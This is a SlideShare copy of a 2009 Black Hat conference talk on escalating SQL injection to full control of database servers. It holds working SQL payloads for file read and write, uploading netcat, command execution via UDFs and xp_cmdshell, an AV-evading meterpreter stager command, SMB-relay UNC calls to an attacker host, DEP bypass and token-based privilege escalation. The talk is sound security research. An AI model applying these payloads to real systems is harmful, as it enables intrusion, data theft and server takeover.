SlideShare ist ein Scribd-Unternehmen logo
1 von 62
Downloaden Sie, um offline zu lesen
Advanced SQL injection to
operating system full control
 Bernardo Damele Assumpção Guimarães


       Black Hat Briefings Europe
     Amsterdam (NL) – April 16, 2009
Who I am
Bernardo Damele Assumpção Guimarães:

•   Proud father
•   IT security engineer
•   sqlmap lead developer
•   MySQL UDF repository developer


                                     2
SQL injection definition
• SQL injection attacks are a type of
  injection attack, in which SQL
  commands are injected into data-plane
  input in order to affect the execution of
  predefined SQL statements

• It is a common threat in web applications
  that lack of proper sanitization on user-
  supplied input used in SQL queries
                                              3
SQL injection techniques
• Boolean based blind SQL injection:
     par=1 AND ORD(MID((SQL query),
     Nth char, 1)) > Bisection num--

• UNION query (inband) SQL injection:
     par=1 UNION ALL SELECT query--

• Batched queries SQL injection:
     par=1; SQL query;--

                                        4
How far can an attacker go by
 exploiting a SQL injection?



                            5
Scope of the analysis
• Three database software:
  – MySQL on Windows
  – PostgreSQL on Windows and Linux
  – Microsoft SQL Server on Windows

• Three web application languages:
  – ASP on Microsoft IIS, Windows
  – ASP.NET on Microsoft IIS, Windows
  – PHP on Apache and Microsoft IIS
                                        6
Batched queries
• In SQL, batched queries are multiple
  SQL statements, separated by a
  semicolon, and passed to the database

• Example:
    SELECT col FROM table1 WHERE
    id=1; DROP table2;

                                      7
Batched queries support




 Programming languages and their DBMS
connectors default support for batched queries
                                           8
File system read access




                          9
File read access on MySQL
• LOAD_FILE() function can be used to
  read either a text or a binary file

• Session user must have these privileges:
  – FILE
  – CREATE TABLE for the support table



                                         10
File read access on MySQL
Via batched queries SQL injection technique:
SELECT HEX(LOAD_FILE('C:/example.exe')) INTO
DUMPFILE 'C:/WINDOWS/Temp/hexkflwl';

CREATE TABLE footable(data longtext);

LOAD DATA INFILE 'C:/WINDOWS/Temp/hexkflwl'
INTO TABLE footable FIELDS TERMINATED BY
'MFsIgeUPsa' (data);

                                         11
File read access on MySQL
Via any SQL injection enumeration technique:
• Retrieve the length of the support table's field
  value
• Dump the support table's field value in chunks
  of 1024 characters

On the attacker box:
• Assemble the chunks into a single string
• Decode it from hex and write on a local file

                                                 12
File read access on PostgreSQL
• COPY statement can be used to read a
  text file

  – User-defined function can be used to
    read a binary file

• Session user must be a super user to
  call this statement


                                         13
File read access on PostgreSQL
Via batched queries SQL injection technique:

CREATE TABLE footable(data bytea);

COPY footable(data) FROM
'/etc/passwd';




                                         14
File read access on PostgreSQL
Via any SQL injection enumeration technique:
• Count the number of entries in the support
  table
• Dump the support table's field entries base64
  encoded via ENCODE() function

On the attacker box:
• Assemble the entries into a single string
• Decode it from base64 and write on a local file

                                              15
File read access on MS SQL Server
• BULK INSERT statement can be abused
  to read either a text or a binary file and
  save its content on a table text field

• Session user must have these privileges:
  – INSERT
  – ADMINISTER BULK OPERATIONS
  – CREATE TABLE
                                         16
File read access on MS SQL Server
Via batched queries SQL injection technique:
CREATE TABLE footable(data text);
CREATE TABLE footablehex(id INT
IDENTITY(1, 1) PRIMARY KEY, data
VARCHAR(4096));

BULK INSERT footable FROM 'C:/example.exe'
WITH (CODEPAGE='RAW',
FIELDTERMINATOR='QLKvIDMIjD',
ROWTERMINATOR='dqIgILsFoi');

                                         17
File read access on MS SQL Server
[…]
WHILE (@counter <= @length)
BEGIN
    […]
    SET @tempint = CONVERT(INT, (SELECT
    ASCII(SUBSTRING(data,@counter,1)) FROM footable))
    […]
     SET @hexstr = @hexstr + SUBSTRING(@charset,
    @firstint+1, 1) + SUBSTRING(@charset,
    @secondint+1, 1)
    […]
    INSERT INTO footablehex(data) VALUES(@hexstr)
END
[…]

                                                   18
File read access on MS SQL Server
Via any SQL injection enumeration technique:
• Count the number of entries in the support
  table table2
• Dump the support table table2's varchar
  field entries sorted by the integer primary key

On the attacker box:
• Assemble the entries into a single string
• Decode it from hexadecimal and write on a
  local file

                                               19
File system write access




                           20
File write access on MySQL
• SELECT … INTO DUMPFILE clause
  can be used to write files

• Session user must have these privileges:
  – FILE
  – INSERT, UPDATE and CREATE TABLE
    for the support table

                                       21
File write access on MySQL
On the attacker box:

• Encode the local file content to its
  corresponding hexadecimal string

• Split the hexadecimal encoded string into
  chunks long 1024 characters each

                                         22
File write access on MySQL
Via batched queries SQL injection technique:
CREATE TABLE footable(data longblob);

INSERT INTO footable(data) VALUES
(0x4d5a90…610000);
UPDATE footable SET
data=CONCAT(data, 0xaa270000…000000);
[…];
SELECT data FROM footable INTO DUMPFILE
'C:/WINDOWS/Temp/nc.exe';

                                          23
File write access on PostgreSQL
• Large Object’s lo_export()
  function can be abused to write
  remote files on the file system

• Session user must be a super user
  to call this statement

                                    24
File write access on PostgreSQL
On the attacker box:

• Encode the local file content to its
  corresponding base64 string

• Split the base64 encoded string into
  chunks long 1024 characters each

                                         25
File write access on PostgreSQL
Via batched queries SQL injection technique:
CREATE TABLE footable(data text);
INSERT INTO footable(data) VALUES ('TVqQ…');
UPDATE footable SET data=data||'U8pp…vgDw';
[…]

SELECT lo_create(47);
UPDATE pg_largeobject SET data=(DECODE((SELECT
data FROM footable), 'base64')) WHERE loid=47;
SELECT lo_export(47, 'C:/WINDOWS/Temp/nc.exe');


                                                 26
File write access on MS SQL Server
• Microsoft SQL Server can execute commands:
  xp_cmdshell()
    EXEC xp_cmdshell('echo … >> filepath')

• Session user must have CONTROL SERVER
  privilege

• On the attacker box:
  – Split the file in chunks of 64Kb
  – Convert each chunk to its plain text debug
    script format
                                                 27
File write access on MS SQL Server
Example of nc.exe:
 00000000   4D 5A 90 00   03 00 00 00
 00000008   04 00 00 00   FF FF 00 00
 […]

As a plain text debug script:
 n qqlbc                  // Create a temporary file
 rcx                      // Write the file size in
 f000                     // the CX registry
 f 0100 f000 00           // Fill the segment with 0x00
 e 100 4d 5a 90 00 03 […] // Write in memory all values
 e 114 00 00 00 00 40 […]
 […]
 w                        // Write the file to disk
 q                        // Quit debug.exe

                                                    28
File write access on MS SQL Server
Via batched queries SQL injection technique:
• For each debug script:
  EXEC master..xp_cmdshell '
  echo n qqlbc >> C:WINDOWSTempzdfiq.scr &
  echo rcx >> C:WINDOWSTempzdfiq.scr &
  echo f000 >> C:WINDOWSTempzdfiq.scr &
  echo f 0100 f000 00 >>
  C:WINDOWSTempzdfiq.scr &
  […]'

                                          29
File write access on MS SQL Server

EXEC master..xp_cmdshell '
cd C:WINDOWSTemp &
debug < C:WINDOWSTempzdfiq.scr &
del /F C:WINDOWSTempzdfiq.scr &
copy /B /Y netcat+qqlbc netcat'

EXEC master..xp_cmdshell '
cd C:WINDOWSTemp &
move /Y netcat C:/WINDOWS/Temp/nc.exe'

                                         30
Operating system access




                          31
User-Defined Function
• In SQL, a user-defined function is a
  custom function that can be evaluated in
  SQL statements

• UDF can be created from shared
  libraries that are compiled binary files
  – Dynamic-link library on Windows
  – Shared object on Linux
                                             32
UDF injection
On the attacker box:

• Compile a shared library defining two UDF:
  – sys_eval(cmd): executes cmd, returns stdout
  – sys_exec(cmd): executes cmd, returns status

• The shared library can also be packed to
  speed up the upload via SQL injection:
  – Windows: UPX for the dynamic-link library
  – Linux: strip for the shared object

                                                33
UDF injection
Via batched queries SQL injection technique:

• Upload the shared library to the DBMS file
  system

• Create the two UDF from the shared library

• Call either of the UDF to execute commands

                                               34
UDF injection on MySQL
UDF Repository for MySQL
• lib_mysqludf_sys shared library:

  – Approximately 6Kb packed
  – Added sys_eval() to return command
    standard output
  – Compliant with MySQL 5.0+
  – Works on all versions of MySQL from 4.1.0
  – Compatible with both Windows or Linux
                                                35
UDF injection on MySQL
Via batched queries SQL injection technique:
• Fingerprint MySQL version
• Upload the shared library to a file system path
  where the MySQL looks for them
 CREATE FUNCTION sys_exec RETURNS int
 SONAME 'libudffmwgj.dll';

 CREATE FUNCTION sys_eval RETURNS string
 SONAME 'libudffmwgj.dll';
                                              36
UDF injection on PostgreSQL
Ported MySQL shared library to PostgreSQL
• lib_postgresqludf_sys shared library:

  – Approximately 6Kb packed
  – C-Language Functions: sys_eval() and
    sys_exec()
  – Compliant with PostgreSQL 8.2+ magic block
  – Works on all versions of PostgreSQL from 8.0
  – Compatible with both Windows or Linux
                                              37
UDF injection on PostgreSQL
Via batched queries SQL injection technique:
• Fingerprint PostgreSQL version
• Upload the shared library to any file system
  path where PostgreSQL has rw access
 CREATE OR REPLACE FUNCTION sys_exec(text)
 RETURNS int4 AS 'libudflenpx.dll',
 'sys_exec' LANGUAGE C […];
 CREATE OR REPLACE FUNCTION sys_eval(text)
 RETURNS text AS 'libudflenpx.dll',
 'sys_eval' LANGUAGE C […];

                                                 38
Command exec on MS SQL Server
xp_cmdshell() stored procedure:

• Session user must have sysadmin role or
  be specified as a proxy account

• Enabled by default on MS SQL Server
  2000 or re-enabled via
  sp_addextendedproc

                                        39
Command exec on MS SQL Server
• Disabled by default on MS SQL Server
  2005 and 2008, it can be:

  – Re-enabled via sp_configure

  – Created from scratch using shell object




                                              40
Out-of-band connection




                         41
OOB connection definition
Contrary to in-band connections (HTTP), it uses
an alternative channel to return data

This concept can be extended to establish a full-
duplex connection between the attacker host
and the database server

• Over this channel the attacker can have a
  command prompt or a graphical access (VNC)
  to the DBMS server
                                              42
A good friend: Metasploit
• Metasploit is a powerful open source
  exploitation framework
  – Post-exploitation in a SQL injection
    scenario

• SQL injection as a stepping stone for OOB
  channel using Metasploit can be achieved
  – Requires file system access and
    command execution via in-band
    connection – already achieved
                                           43
OOB via payload stager
On the attacker box:

• Forge a stand-alone payload stager with
  msfpayload

• Encode it with msfencode to bypass AV

• Pack it with UPX to speed up the upload via
  SQL injection if the target OS is Windows

                                            44
OOB via payload stager
Example of payload stager creation and encode:
 $ msfpayload windows/meterpreter/bind_tcp
   EXITFUNC=process LPORT=31486 R | msfencode -e
   x86/shikata_ga_nai -t exe -o stagerbvdcp.exe


Payload stager compression:
 $ upx -9 –qq stagerbvdcp.exe


The payload stager size is 9728 bytes, as a
compressed executable its size is 2560 bytes
                                               45
OOB via payload stager
On the attacker box:
• Run msfcli with multi/handler exploit

Via batched queries SQL injection technique:
• Upload the stand-alone payload stager to the
  file system temporary folder of the DBMS

• Execute it via sys_exec() or
  xp_cmdshell()

                                            46
SMB authentication relay attack
• Initially researched by Dominique
  Brezinski back in 1996, presented at
  Black Hat USA in 1997

• Patched by Microsoft on November 11,
  2008 – MS08-068
  – It prevents the relaying of challenge keys
    back to the same host which issued them

                                             47
SMB relay via SQL injection
• Metasploit has an exploit for this
  vulnerability
  – Launch the exploit on the attacker box
    and wait for incoming SMB connections

• The database server must try to
  authenticate to the SMB exploit
  – UNC path request can be abused
                                         48
SMB relay via SQL injection
• MySQL – runs as Local System, no
  challenge-response password hashes sent:
SELECT LOAD_FILE('attackerfoo.txt')


• PostgreSQL – runs as postgres user,
  unprivileged:
CREATE TABLE table(col text);
COPY table(col) FROM 'attackerfoo.txt'

                                            49
SMB relay via SQL injection
• Microsoft SQL Server:
EXEC master..xp_dirtree 'attackerfoo.txt'

  – Session user needs only EXECUTE privilege
    on the stored procedure – default

  – SQL Server 2000 runs as Administrator by
    default – attack is successful
  – SQL Server 2005 and 2008 run often as
    Network Service – attack is unsuccessful
                                          50
Stored procedure buffer overflow
• Discovered by Bernhard Mueller on
  December 4, 2008
  – sp_replwritetovarbin heap-based
    buffer overflow on Microsoft SQL Server
    2000 SP4 and Microsoft SQL Server 2005
    SP2

• Patched by Microsoft on February 10,
  2009 – MS09-004
                                          51
Buffer overflow exploit
• Session user needs only EXECUTE privilege
  on the stored procedure – default


• Guido Landi wrote the first public stand-
  alone exploit for this vulnerability

  – I added support for multi-stage payload
    and integrated it in sqlmap
                                          52
Data Execution Prevention
• DEP is a security feature that prevents
  code execution in memory pages not
  marked as executable

• It can be configured to allow exceptions

• Default settings allow exceptions:
  – Windows 2003 SP1+: OptOut
  – Windows 2008 SP0+: OptOut
                                             53
Bypass DEP
• When it is set to OptOut:

  – Exception for sqlservr.exe in the registry
     • Via bat file by calling reg
     • Via reg file by passing it to regedit
     • Via master..xp_regwrite

  – Upload and execute a bat file which
    executes sc to restart the process
                                               54
Privilege escalation




                       55
Windows Access Token abuse
• OS user privilege escalation via
  Windows Access Token abuse is
  possible also via SQL injection

• If the database process’ user has access
  tokens, they can be abused to execute
  commands as another user, depending
  on its token handlers
                                       56
Meterpreter extension: incognito
• Luke Jennings’ incognito extension for
  Meterpreter can enumerate user’s
  access tokens and impersonate a
  specific token

• Privilege escalation to Administrator or
  Local System if the corresponding token
  handler is within the thread of the
  process where meterpreter is running
                                       57
Churrasco
• Churrasco is a stand-alone executable
  to abuse Access Tokens developed by
  Cesar Cerrudo

  – Brute-forces the token handlers within
    the current process
  – Runs the provided command with the
    brute-forced SYSTEM token

                                             58
Access Token abuse via SQL injection
• Network Services has access tokens
  – Microsoft SQL Server 2005 and 2008

• Churrasco can be uploaded to the
  database server file system and used in
  the context of the out-of-band connection
  attack to execute the payload stager as
  SYSTEM
                                         59
Credits
•   Guido Landi
•   Alberto Revelli
•   Alessandro Tanasi
•   Metasploit development team

• More acknowledgments and references
  on the white paper

                                   60
Questions?




             61
Thanks for your attention!


Bernardo Damele Assumpção Guimarães
        bernardo.damele@gmail.com
    http://bernardodamele.blogspot.com
        http://sqlmap.sourceforge.net



                                         62

Weitere ähnliche Inhalte

Was ist angesagt? (20)

Sqlmap
SqlmapSqlmap
Sqlmap
 
DNS exfiltration using sqlmap
DNS exfiltration using sqlmapDNS exfiltration using sqlmap
DNS exfiltration using sqlmap
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
sqlmap - why (not how) it works?
sqlmap - why (not how) it works?sqlmap - why (not how) it works?
sqlmap - why (not how) it works?
 
Sql Injection 0wning Enterprise
Sql Injection 0wning EnterpriseSql Injection 0wning Enterprise
Sql Injection 0wning Enterprise
 
Sql injection
Sql injectionSql injection
Sql injection
 
Heuristic methods used in sqlmap
Heuristic methods used in sqlmapHeuristic methods used in sqlmap
Heuristic methods used in sqlmap
 
Sql Injection - Vulnerability and Security
Sql Injection - Vulnerability and SecuritySql Injection - Vulnerability and Security
Sql Injection - Vulnerability and Security
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injections (Part 1)
SQL Injections (Part 1)SQL Injections (Part 1)
SQL Injections (Part 1)
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testing
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sqlmap
SqlmapSqlmap
Sqlmap
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
 

Andere mochten auch

Got database access? Own the network!
Got database access? Own the network!Got database access? Own the network!
Got database access? Own the network!Bernardo Damele A. G.
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
 
SQL injection exploitation internals
SQL injection exploitation internalsSQL injection exploitation internals
SQL injection exploitation internalsBernardo Damele A. G.
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacksRespa Peter
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...DefconRussia
 
SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...
SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...
SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...dbi services
 
Union based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials PointUnion based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials PointAl Zarqali
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi pptAhamed Saleem
 
SQL Server 2008 Consolidation
SQL Server 2008 ConsolidationSQL Server 2008 Consolidation
SQL Server 2008 Consolidationwebhostingguy
 
MySQL sys schema deep dive
MySQL sys schema deep diveMySQL sys schema deep dive
MySQL sys schema deep diveMark Leith
 
Securing your web applications a pragmatic approach
Securing your web applications a pragmatic approachSecuring your web applications a pragmatic approach
Securing your web applications a pragmatic approachAntonio Parata
 
Sql server consolidation and virtualization
Sql server consolidation and virtualizationSql server consolidation and virtualization
Sql server consolidation and virtualizationIvan Donev
 

Andere mochten auch (20)

Got database access? Own the network!
Got database access? Own the network!Got database access? Own the network!
Got database access? Own the network!
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)
 
SQL injection exploitation internals
SQL injection exploitation internalsSQL injection exploitation internals
SQL injection exploitation internals
 
sqlmap - Under the Hood
sqlmap - Under the Hoodsqlmap - Under the Hood
sqlmap - Under the Hood
 
SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
 
Not so blind SQL Injection
Not so blind SQL InjectionNot so blind SQL Injection
Not so blind SQL Injection
 
SQL injection basics
SQL injection basicsSQL injection basics
SQL injection basics
 
SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...
SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...
SQL Server 2012 : réussir la migration - Stéphane Haby - Antonio De Santo - d...
 
Union based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials PointUnion based sql injection by Urdu Tutorials Point
Union based sql injection by Urdu Tutorials Point
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi ppt
 
SQL Server 2008 Consolidation
SQL Server 2008 ConsolidationSQL Server 2008 Consolidation
SQL Server 2008 Consolidation
 
MySQL sys schema deep dive
MySQL sys schema deep diveMySQL sys schema deep dive
MySQL sys schema deep dive
 
Sql injection attacks
Sql injection attacksSql injection attacks
Sql injection attacks
 
Securing your web applications a pragmatic approach
Securing your web applications a pragmatic approachSecuring your web applications a pragmatic approach
Securing your web applications a pragmatic approach
 
Sql Server 2008 Server Consolidation
Sql Server 2008 Server ConsolidationSql Server 2008 Server Consolidation
Sql Server 2008 Server Consolidation
 
Sql server consolidation and virtualization
Sql server consolidation and virtualizationSql server consolidation and virtualization
Sql server consolidation and virtualization
 

Ähnlich wie Advanced SQL injection to operating system full control (slides)

Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackTomer Zait
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish fileyukta888
 
Buffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackBuffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackironSource
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingChema Alonso
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads UpMindfire Solutions
 
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IAS
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IASEnable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IAS
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IASInvenire Aude
 
Hackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection AttacksHackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection Attacksamiable_indian
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacksKevin Kline
 
SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...
SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...
SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...Inhacking
 
Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...
Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...
Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...Аліна Шепшелей
 
Terraform introduction
Terraform introductionTerraform introduction
Terraform introductionJason Vance
 
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019Alex Thissen
 
JavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScript
JavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScriptJavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScript
JavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScriptDave Stokes
 

Ähnlich wie Advanced SQL injection to operating system full control (slides) (20)

Buffer overflow – Smashing The Stack
Buffer overflow – Smashing The StackBuffer overflow – Smashing The Stack
Buffer overflow – Smashing The Stack
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish file
 
Buffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the StackBuffer Overflow - Smashing the Stack
Buffer Overflow - Smashing the Stack
 
Asegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File DownloadingAsegúr@IT IV - Remote File Downloading
Asegúr@IT IV - Remote File Downloading
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
Sql Server - Apresentação
Sql Server - ApresentaçãoSql Server - Apresentação
Sql Server - Apresentação
 
TO Hack an ASP .NET website?
TO Hack an ASP .NET website?  TO Hack an ASP .NET website?
TO Hack an ASP .NET website?
 
Hack ASP.NET website
Hack ASP.NET websiteHack ASP.NET website
Hack ASP.NET website
 
Sq linjection
Sq linjectionSq linjection
Sq linjection
 
Sql injection exploit
Sql injection exploitSql injection exploit
Sql injection exploit
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads Up
 
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IAS
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IASEnable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IAS
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IAS
 
Hackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection AttacksHackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection Attacks
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
 
SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...
SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...
SE2016 BigData Vitalii Bondarenko "HD insight spark. Advanced in-memory Big D...
 
Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...
Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...
Vitalii Bondarenko HDinsight: spark. advanced in memory big-data analytics wi...
 
Terraform introduction
Terraform introductionTerraform introduction
Terraform introduction
 
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
Architecting .NET solutions in a Docker ecosystem - .NET Fest Kyiv 2019
 
JavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScript
JavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScriptJavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScript
JavaScript and Friends August 20th, 20201 -- MySQL Shell and JavaScript
 

Kürzlich hochgeladen

08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Enterprise Knowledge
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
